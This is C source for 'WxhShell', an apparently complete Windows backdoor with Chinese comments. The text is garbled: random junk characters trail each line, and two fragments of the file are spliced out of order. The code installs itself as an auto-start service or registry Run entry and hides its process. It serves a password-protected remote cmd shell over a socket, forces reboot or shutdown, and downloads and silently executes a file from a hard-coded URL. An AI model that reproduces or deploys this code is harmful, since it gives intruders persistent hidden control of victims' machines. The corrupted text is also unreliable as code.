    closesocket(wsh); lH_S*FDa  
    ExitThread(0); ,$ICv+7]  
    } "WKE% f  
    break; J?Kgev%  
    } !?Tu pi  
  // 关机 n1Ag o3NM  
  case 'd': { ii%n:0+zm  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v5i?4?-Z  
    if(Boot(SHUTDOWN)) P<iS7Ys+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mUi|vq)`=D  
    else { oL'  :07_  
    closesocket(wsh); Q!DQ!;Br6  
    ExitThread(0); maANxSzi  
    } h%kB>E~  
    break; 7S<Z&1(  
    } ],%}}UN  
  // 获取shell +M9=KVr  
  case 's': { p-U'5<n  
    CmdShell(wsh); @:DS/#!  
    closesocket(wsh); hk"^3d!  
    ExitThread(0); U4*5o~!=S  
    break; BaIh,iu  
  } tR#uDE\wR  
  // 退出 8xUmg&  
  case 'x': { ;(3fr0cr:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &libC>a[  
    CloseIt(wsh); RB'12^[  
    break; (,\`?g  
    } tZ1iaYbvV  
  // 离开 ]4@z.1Mr  
  case 'q': { [_j.pMH/P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qv3L@"Ub  
    closesocket(wsh); *>.~f<V  
    WSACleanup(); 0-Xpq,0  
    exit(1); ))63?_  
    break; /B!"\0G/,  
        } }}~ ^!  
  } iXC/? EK4  
  } ;D]TPBE  
B dm<<<  
  // 提示信息 V]}/e!XK\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j^Zp BNL  
} (FMGW (  
  } 7 pg8kq@  
'ESy>wA{y<  
  return; ^f!d8 V  
} Q}]:lmqH  
#:Cr'U  
// shell模块句柄 ika{>hbH  
int CmdShell(SOCKET sock) \@OKB<ra  
{ oG@P M+{  
STARTUPINFO si; hU G Iy(  
ZeroMemory(&si,sizeof(si)); $yaE!.Kc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $Ry NM2YI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xKsn);].`  
PROCESS_INFORMATION ProcessInfo; |#5JI #,vX  
char cmdline[]="cmd"; !9iVe7V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~`tc|Zu  
  return 0; mMT7`r;l  
} [W{`L_"  
F$F5N1<  
// 自身启动模式 cx_"{`+e  
int StartFromService(void) !;CY @=  
{ Vzbl* Zmx  
typedef struct N.eSf  
{ zCvR/  
  DWORD ExitStatus; (a7IxW  
  DWORD PebBaseAddress; 8Yq6I>@!  
  DWORD AffinityMask; 1ygu>sKS&A  
  DWORD BasePriority; m U7Ad"  
  ULONG UniqueProcessId; "c\T  
  ULONG InheritedFromUniqueProcessId; HEe0dqG  
}   PROCESS_BASIC_INFORMATION; eMz,DYa/G  
<;9 vwSH>  
PROCNTQSIP NtQueryInformationProcess; b@,=;Y)O  
wZrdr4j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Bfw>2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P!bm$h*3?  
}aX).u  
  HANDLE             hProcess; yJb;V#  
  PROCESS_BASIC_INFORMATION pbi; UQW;!8J#R(  
>y]YF3?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :X`J1E]Rjd  
  if(NULL == hInst ) return 0; &2?kD{  
zP=J5qOZ8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bk4%lYJ"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \UB<'~z6!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M;Vx[s,#,  
2~]c`/M3  
  if (!NtQueryInformationProcess) return 0; G2L7_?/m  
>Ckb9A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +}9%Duim  
  if(!hProcess) return 0; ZTS*E,U%  
Ti' GSL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;yk@`<  
TR)' I  
  CloseHandle(hProcess); 1YnDho;~  
IHagRldG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W=)}=^N0  
if(hProcess==NULL) return 0; m5d;lrk@&/  
~=c^ Oo:  
HMODULE hMod; R!$j_H  
char procName[255]; _TX.}167;-  
unsigned long cbNeeded; |y'q`cY  
s 6hj[^O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MF E%q  
i, RK0q?>  
  CloseHandle(hProcess); kP;Rts8JD  
z5Nw+#m| i  
if(strstr(procName,"services")) return 1; // 以服务启动 D]oS R7h  
$<33E e:a  
  return 0; // 注册表启动 Uc9Uj  
} 6K<vyr40  
j@9nX4Z  
// 主模块 l_f"}l  
int StartWxhshell(LPSTR lpCmdLine) J::SFu=  
{ q(uu;l[  
  SOCKET wsl; QT-rb~  
BOOL val=TRUE; N+}yw4lb  
  int port=0; 3rR(>}:[V  
  struct sockaddr_in door; 2,_BO6 !d  
n!tCz<v  
  if(wscfg.ws_autoins) Install(); {h@R\bU  
Q6vkqu5!=  
port=atoi(lpCmdLine); 5Vvy:<.la  
,:z@Ji  
if(port<=0) port=wscfg.ws_port; s@3!G+ -}  
sHEISNj/^  
  WSADATA data; d0N7aacY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sk],_l<  
C2`END;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   eN jC.w9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9CL&tpqv f  
  door.sin_family = AF_INET; ?NHh=H\7u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1^$Io}o:S  
  door.sin_port = htons(port); e94csTh=  
aX  ?ON  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~KX!i 8+X  
closesocket(wsl); H3b@;&`&  
return 1; $!fz87-p>  
} J\ 3~  
8o4 vA,  
  if(listen(wsl,2) == INVALID_SOCKET) { v.Q)Obyn  
closesocket(wsl); TAGqRYgi  
return 1; &_-~kU1K^  
} 1P[!B[;c  
  Wxhshell(wsl); 4s$))x9p  
  WSACleanup(); da 2BQ;  
!A<?nz Uv  
return 0; g\jdR_/  
>eU;lru2Q  
} XVI+Y  
XE>XzsnC  
// 以NT服务方式启动 p6ZKyi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .Wa6?r<g  
{ h"<rW7z  
DWORD   status = 0; *np%67=jO  
  DWORD   specificError = 0xfffffff; lFRgyEPH  
8taaBM`:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OY@/18D<>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f:HRrKf9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zfxxPL'  
  serviceStatus.dwWin32ExitCode     = 0; 02=eE|Y@  
  serviceStatus.dwServiceSpecificExitCode = 0; Zo&U3b{Dy  
  serviceStatus.dwCheckPoint       = 0; Cjwg1?^RZ  
  serviceStatus.dwWaitHint       = 0; F!Nx^M1  
:/1WJG:!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IXC: Q  
  if (hServiceStatusHandle==0) return; 7qnw.7p  
Xt$?Kx_,  
status = GetLastError(); ,':?3| $c  
  if (status!=NO_ERROR) O"{NHNG\oT  
{ pG|DT ?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1g|H8CA  
    serviceStatus.dwCheckPoint       = 0; <K2 )v~  
    serviceStatus.dwWaitHint       = 0; fHe3 :a5+W  
    serviceStatus.dwWin32ExitCode     = status; 7ZJYT#>b  
    serviceStatus.dwServiceSpecificExitCode = specificError; fw-LZ][  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pw+cpM 8<  
    return; 7DT9\BT  
  } o{ U= f6  
LdRLKE<'e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ="XxS|Mq3  
  serviceStatus.dwCheckPoint       = 0; Q+#, VuM  
  serviceStatus.dwWaitHint       = 0; * DU86JL`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O*c +TiTb  
} G `TO[p]q  
3lLO.  
// 处理NT服务事件,比如:启动、停止 ! WQEv_G@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /oh[ Nu1D  
{ hL&z"_`  
switch(fdwControl) jg2>=}  
{ =o9 %)  
case SERVICE_CONTROL_STOP: g.z/%Lp K  
  serviceStatus.dwWin32ExitCode = 0; 1k;X*r#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J/)Q{*`_  
  serviceStatus.dwCheckPoint   = 0; %"{SGp  
  serviceStatus.dwWaitHint     = 0; 1vQ*Br  
  { _%.atW7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); glHHr  
  } HQ4o^WC  
  return; cp]\<p('A  
case SERVICE_CONTROL_PAUSE: edbzg #wy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iao_w'tJ  
  break; 0 5 `x$f  
case SERVICE_CONTROL_CONTINUE: ?L7z\b"_~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q?JP\_o:  
  break; DQwbr\xy\  
case SERVICE_CONTROL_INTERROGATE: Xo$(zGb  
  break; ^F_c'  
}; 7eZ,; x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6J-tcL*4"%  
} ~|+   
w 8T#~Dc  
// 标准应用程序主函数 91[(K'=&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UKn>.,  
{ BK6oW3wD/  
v-g2k_ o|  
// 获取操作系统版本 T+Du/ERL  
OsIsNt=GetOsVer(); *<]ulR2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Fb.wm   
UG 9uNgzQ/  
  // 从命令行安装 %n T!u!#  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0<nk>o  
1@;Dn'  
  // 下载执行文件 "){"{~  
if(wscfg.ws_downexe) { P;][i|x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T[q2quXgk  
  WinExec(wscfg.ws_filenam,SW_HIDE); '\=aSZVO  
} `BF+)fs  
~xkcQ{  
if(!OsIsNt) { FAo\`x  
// 如果时win9x,隐藏进程并且设置为注册表启动 wNq#vn  
HideProc(); g2BE-0,R  
StartWxhshell(lpCmdLine); `Z0FQ( r_  
} 3Vs8"BFjz  
else 0.=dOz r  
  if(StartFromService()) N-y[2]J90  
  // 以服务方式启动 "V}WV!w  
  StartServiceCtrlDispatcher(DispatchTable); UM3}7|  
else _-$(=`8|<{  
  // 普通方式启动 ?s6v>#H%  
  StartWxhshell(lpCmdLine); K>N\U@@8i  
0EKi?vP@y7  
return 0; #8i DM5:EQ  
} !%?O`+r  
*3d+ !#;rG  
+d>?aqI\A  
^|hlY ]Ev  
=========================================== ot($aY,t  
@j=:V!g2O  
_h6SW2:z!E  
"A6m-xE~  
9$$dSN\&  
]{s0/(EA  
" TD!--l*gL  
SYkwM6  
#include <stdio.h> @>cz$##`  
#include <string.h> UQ c!"D  
#include <windows.h> FC@h6 \+a  
#include <winsock2.h> kUGOkSP8[  
#include <winsvc.h> C.].HQ  
#include <urlmon.h>  k{d]  
N:x--,2  
#pragma comment (lib, "Ws2_32.lib") ~G,_4}#"pM  
#pragma comment (lib, "urlmon.lib") w;W# 'pE  
]l>LU2 sx  
#define MAX_USER   100 // 最大客户端连接数 k<Qhw)M8  
#define BUF_SOCK   200 // sock buffer {bHUZen  
#define KEY_BUFF   255 // 输入 buffer !K*(# [  
,sI<AFI  
#define REBOOT     0   // 重启 x{4{.s%+:  
#define SHUTDOWN   1   // 关机 WX6}@mS.  
%;_94!(hC  
#define DEF_PORT   5000 // 监听端口 0$ JH5RC  
^F,sV*  
#define REG_LEN     16   // 注册表键长度 B\S}*IE  
#define SVC_LEN     80   // NT服务名长度 B>.x@(}V~  
& OYo  
// 从dll定义API ORuC("  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); K*I!:1;3N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /9ctmW1!<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U}@xMt8@l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZP{<f~;  
+`,;tz=?  
// wxhshell配置信息 `>)[UG!:|  
struct WSCFG { 2Pow-o*r  
  int ws_port;         // 监听端口 ~jC+6v  
  char ws_passstr[REG_LEN]; // 口令 ];xDXQd  
  int ws_autoins;       // 安装标记, 1=yes 0=no qYoB;gp  
  char ws_regname[REG_LEN]; // 注册表键名 1r$*8 |p  
  char ws_svcname[REG_LEN]; // 服务名 bd]9 kRq1K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4>A|2+K\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !]5}N^X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @<NuuYQ&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Xii>?sA5Z"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y+3+iT@i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t:MSV?  
v5>A1\  
}; \?SvO  
e,N}z  
// default Wxhshell configuration is }>+&_  
struct WSCFG wscfg={DEF_PORT, ]Hp>~Zvbb  
    "xuhuanlingzhe", G/*;h,NbNr  
    1, DA1?M'N  
    "Wxhshell", B*Q9g r  
    "Wxhshell", o?Aj6fNY?  
            "WxhShell Service", Z1#u&oX  
    "Wrsky Windows CmdShell Service", 2ah%,o  
    "Please Input Your Password: ", Mg #yl\v  
  1, >-w(P/  
  "http://www.wrsky.com/wxhshell.exe", $=iw<B r  
  "Wxhshell.exe" _%q~K (::  
    }; Jsl2RdI  
c {/J.  
// 消息定义模块 sUF9_W5z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]{oZn5F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gk6UV2nE?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v3#,Z!  
char *msg_ws_ext="\n\rExit."; {j=`  
char *msg_ws_end="\n\rQuit."; fuzB;Ea  
char *msg_ws_boot="\n\rReboot..."; P q$0ih  
char *msg_ws_poff="\n\rShutdown..."; N_I KH)  
char *msg_ws_down="\n\rSave to "; Cb1w8l0  
LH)XD[  
char *msg_ws_err="\n\rErr!"; I)tiXcJw  
char *msg_ws_ok="\n\rOK!"; ]?pQu'-(  
~: {05W  
char ExeFile[MAX_PATH]; !$A/.;0$  
int nUser = 0; 4qdoF_  
HANDLE handles[MAX_USER]; XEQTTD<  
int OsIsNt; rUpe  ;c  
h Ta(^  
SERVICE_STATUS       serviceStatus; o:D,,MkSw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O&1qL)  
_bGkJ=  
// 函数声明 < Hkq  
int Install(void); B2e"   
int Uninstall(void); 7i*eKC`ZqK  
int DownloadFile(char *sURL, SOCKET wsh); d{"-iw)t  
int Boot(int flag); ]I[~0PCSX  
void HideProc(void); @(Y!$><Is  
int GetOsVer(void); 6$6QAW0+f  
int Wxhshell(SOCKET wsl); 8 q@Z  
void TalkWithClient(void *cs); pZ& ,YX  
int CmdShell(SOCKET sock); &'SD1m1P  
int StartFromService(void); 4b:|>Z-  
int StartWxhshell(LPSTR lpCmdLine); PVsKI<  
#,%7tXOLR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7 !$[XD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s{-gsSmE  
MF8-q'upyT  
// 数据结构和表定义 e"ehH#i  
SERVICE_TABLE_ENTRY DispatchTable[] = =5q<_as  
{ d=/0A\O  
{wscfg.ws_svcname, NTServiceMain}, J0?kEr  
{NULL, NULL} X*QS/\  
}; P( hGkY=(  
X_]rtG  
// 自我安装 xSm;~')g  
int Install(void) & 3BoK/y3  
{ |'q%9 #  
  char svExeFile[MAX_PATH]; >#w;67he2  
  HKEY key; |;vQ"8J  
  strcpy(svExeFile,ExeFile); SVZocTt  
g1s%x=7/  
// 如果是win9x系统,修改注册表设为自启动 #;$]M4  
if(!OsIsNt) { xWxc1tT`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X H-_tvB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HeOdCr-PN  
  RegCloseKey(key); D5TDg\E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gcU*rml  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2yZr!Rb~*  
  RegCloseKey(key); $"r9U|6kk  
  return 0; c-sjYJXKM*  
    } ,~1"50 Hp@  
  } d9K8[Q5^3  
} qhEv6Yxfw6  
else { FQ]/c#J  
zaqX};b  
// 如果是NT以上系统,安装为系统服务 xG9Sk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6qWUo3  
if (schSCManager!=0) zxbf h/=  
{ [={mCGU  
  SC_HANDLE schService = CreateService ?, S/>SP  
  ( rm iOeS`:  
  schSCManager, =~B"8@B  
  wscfg.ws_svcname, CMXF[X)%  
  wscfg.ws_svcdisp, j]Jgz<  
  SERVICE_ALL_ACCESS, BAf$ty h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8]ZzO(=@{  
  SERVICE_AUTO_START, .T| }rB<c  
  SERVICE_ERROR_NORMAL, 0zaK&]oY0  
  svExeFile, #c^V %  
  NULL, *m~-8_ >;  
  NULL, +$h  
  NULL, [_,as  
  NULL, ~HZdIPcC  
  NULL [9 W@<p  
  ); Smr{+m a  
  if (schService!=0) 3v/B*M VI  
  { OT9]{|7  
  CloseServiceHandle(schService); zLpCKndj  
  CloseServiceHandle(schSCManager); K~N$s "Qx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &mwd0%4  
  strcat(svExeFile,wscfg.ws_svcname); p+VU:%.t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .ZpOYhk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i%hCV o  
  RegCloseKey(key); WsI`!ez;D  
  return 0; 1E+12{~m"i  
    } g !'R}y  
  } Ri.tA  
  CloseServiceHandle(schSCManager); LeKovt%  
} &*C5Nnlv  
} M]x> u@JH  
x:|Y)Dn\  
return 1; $x0SWJ \G  
} i"^>sk  
eS`VI+=@0  
// 自我卸载 r|Ui1f5  
int Uninstall(void) (}: s[cs  
{ P@{ x@9kI  
  HKEY key; UUah5$Iy  
L:z0cvn"  
if(!OsIsNt) { ag-A}k>v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X8 nos  
  RegDeleteValue(key,wscfg.ws_regname); dzf2`@8#  
  RegCloseKey(key); eqbN_$>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #9vC]Gm  
  RegDeleteValue(key,wscfg.ws_regname); Shm> r@C?  
  RegCloseKey(key); EBj^4=b[  
  return 0; (WM3(US|  
  } aurs~  
} vg z`+Zj*S  
} "y1Iu   
else { |=?#Xbxz  
NAbVH{*\U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dbI>\khI  
if (schSCManager!=0) .tngN<f  
{ :E:e ^$p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mk-{@$QJb  
  if (schService!=0) XzUGlrp:Y#  
  { 'xwCeZcg  
  if(DeleteService(schService)!=0) { x9_mlZ  
  CloseServiceHandle(schService); Z_d"<k}I  
  CloseServiceHandle(schSCManager); ([>ecS@eO  
  return 0; hXW` n*Zw  
  } /%wS5IZ^  
  CloseServiceHandle(schService); |Splbs k  
  } %opBJ   
  CloseServiceHandle(schSCManager); xoaO=7\io  
} +$2{u_m,  
} f6Qr0Op  
ZN[<=w&(cB  
return 1; \br!77  
} Ey6R/M)?:y  
!l:GrT8J  
// 从指定url下载文件 ;nY#/%f  
int DownloadFile(char *sURL, SOCKET wsh) =2Y;)wrF  
{ Shn,JmR  
  HRESULT hr; s|[>@~gXk  
char seps[]= "/"; WK ~H]w  
char *token; hW^,' m  
char *file; x 7j#@C  
char myURL[MAX_PATH]; %)ho<z:7U  
char myFILE[MAX_PATH]; K,b M9>}  
3DU1c?M:  
strcpy(myURL,sURL); Ndmt$(b  
  token=strtok(myURL,seps); Fn4v/)*H  
  while(token!=NULL) 04a ^jjc  
  { aSL`yuXu  
    file=token; JF~i.+{ h  
  token=strtok(NULL,seps); u-_r2U  
  } Hbm 4oYN  
_;lw,;ftA  
GetCurrentDirectory(MAX_PATH,myFILE); tFN >]`Z  
strcat(myFILE, "\\"); dzVi ~wt_&  
strcat(myFILE, file); U|^xr~q!f-  
  send(wsh,myFILE,strlen(myFILE),0); $=aO*i  
send(wsh,"...",3,0); R4?>C-;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $a(-r-_Fi]  
  if(hr==S_OK) Zk3Pv0c  
return 0; sZ;|NAx)  
else D6 B-#u!M  
return 1; @^{Hq6_`  
2 $>DX\h  
} kfy!T rf  
6Q.S  
// 系统电源模块 QY\k3hiqn  
int Boot(int flag) H4/wO  
{ _|k$[^ln^  
  HANDLE hToken; \Mf>X\}  
  TOKEN_PRIVILEGES tkp; PEMkx"h +  
YQVo7"`%  
  if(OsIsNt) { G6SgVaM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )rc!irac]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?gH[la  
    tkp.PrivilegeCount = 1; tUn >=>cWP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d} >Po%r:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bIQ,=EA1  
if(flag==REBOOT) { x4_IUIgh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .)Tj}Im2p  
  return 0; q"2QNF'  
} v.0qE}' |  
else { MKK ^-T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Fs+ tcr/\[  
  return 0; blO4)7m  
} 2q f|+[X  
  } @gUp9ZwtH  
  else { Na\ZV|;*tu  
if(flag==REBOOT) { j3-YZKpg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `Sod]bO +U  
  return 0; 4u{S?Ryy  
} Y&|Z*s+ +}  
else { 6FS%9.Ws  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kY0HP a  
  return 0; $|4@Zx4vf  
} [W[{ 4 Xu  
} bS_#3T  
~.a"jYb7A}  
return 1; ggso9ZlLu+  
} WBe0^=x  
4GYi'  
// win9x进程隐藏模块 lExQp2E  
void HideProc(void) WQ|:TLQ  
{ J^!;$Hkd  
|IxHtg3>6{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OL'Ito  
  if ( hKernel != NULL ) GgO5=|  
  { -D^I;[j_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  hfB$4s9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V&Y`?Edc  
    FreeLibrary(hKernel); &L|oqXE0L  
  } qGk+4 yC  
#2Rz=QI  
return; bM W|:rn  
} F.s$Y+c!6  
2.qPMqH  
// 获取操作系统版本 H MOIUd  
int GetOsVer(void) yOM/UdWq  
{ [8V;Q  
  OSVERSIONINFO winfo; Q*M#e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _3IT3mb2n  
  GetVersionEx(&winfo); "be\%W+<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'nmGHorp  
  return 1; VQ=  
  else !2!~_*sGe  
  return 0; 1]xk:u4LA  
} CEfqFn3^  
X9>fE{)!  
// 客户端句柄模块 IsXNAYj  
int Wxhshell(SOCKET wsl) MT6p@b5  
{ \PX4>/d@y  
  SOCKET wsh; }D1x%L  
  struct sockaddr_in client; zLJ>)v$81  
  DWORD myID; iFIGJS  
w\C1Bh!  
  while(nUser<MAX_USER) pwSgFc$z  
{ 7UTfafOGX  
  int nSize=sizeof(client); `IHP_IfR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )W\)37=.  
  if(wsh==INVALID_SOCKET) return 1; t~2oEwTm  
f\&X$g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pyEQb#  
if(handles[nUser]==0) >t+ ENYb  
  closesocket(wsh); &61U1"&$R  
else lZzW- %K  
  nUser++; )@]%:m!ER  
  } m\teE]8x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "O$bq::(]e  
e=]SIR()`  
  return 0; |mT%IR  
} =4TQ*;V:  
hY}Q|-|  
// 关闭 socket M1jT+  
void CloseIt(SOCKET wsh) kD#T _d  
{ aZZ0eH  
closesocket(wsh); ^sv|m"  
nUser--; &X4anH>O  
ExitThread(0); b42%^E  
} ;@+ |]I  
FgdnX2s J  
// 客户端请求句柄 cXXZ'y>FP  
void TalkWithClient(void *cs) *F$@!ByV  
{ TE`5i~R*  
Va!G4_OT  
  SOCKET wsh=(SOCKET)cs; T CT8OU|  
  char pwd[SVC_LEN]; 74^v('-2  
  char cmd[KEY_BUFF]; Iv6 lE:)  
char chr[1]; n"iS[uj,  
int i,j; <Bo\a3Z  
L : $ `8  
  while (nUser < MAX_USER) { a\sK{`|X*  
We6eAP/Z  
if(wscfg.ws_passstr) { r3V1l8MV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V#G)w~   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <4{m99  
  //ZeroMemory(pwd,KEY_BUFF); z|s(D<*w  
      i=0; @$slGY  
  while(i<SVC_LEN) { ^y,h0?Z9  
aEf3hB*~  
  // 设置超时 fW = N  
  fd_set FdRead; dv+Gv7&2/  
  struct timeval TimeOut; x,n l PU  
  FD_ZERO(&FdRead); LhG\)>Y%  
  FD_SET(wsh,&FdRead); 3ynkf77cn  
  TimeOut.tv_sec=8; |bk9< i ?  
  TimeOut.tv_usec=0; ~[=<O s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); = gF035  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6R :hsC$  
w!lk&7Q7Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zJXK:/  
  pwd=chr[0]; 2poo@]M/  
  if(chr[0]==0xd || chr[0]==0xa) { ):N#X<b':  
  pwd=0; la;*>  
  break; d&3"?2 IQ  
  } Q{~g<G  
  i++; y&(#C:N  
    } y;o - @]  
'2X$. ^aW  
  // 如果是非法用户,关闭 socket ^%!{qAp}Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )at:Xm<s  
} R*GBxJaw  
H*]Vs=1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >/ _#+,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R_!'=0}V  
l/k-` LeW  
while(1) { EIw] 9;'_  
Tm^kZuT{  
  ZeroMemory(cmd,KEY_BUFF); Y" =8wNbr  
97Dq;  
      // 自动支持客户端 telnet标准   *VsGa<V  
  j=0; ,h=a+ja8  
  while(j<KEY_BUFF) { aiPm.h>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B}[CU='P*  
  cmd[j]=chr[0]; <M9NyD`  
  if(chr[0]==0xa || chr[0]==0xd) { ?22U0UF  
  cmd[j]=0; s AFn.W  
  break; &~2m@X(o  
  } 3JC uM_y  
  j++; 1 b 7jNkQ  
    } b |:Y3_>  
"{8j!+]4i  
  // 下载文件 JuZkE9C,${  
  if(strstr(cmd,"http://")) { Mbc&))A  
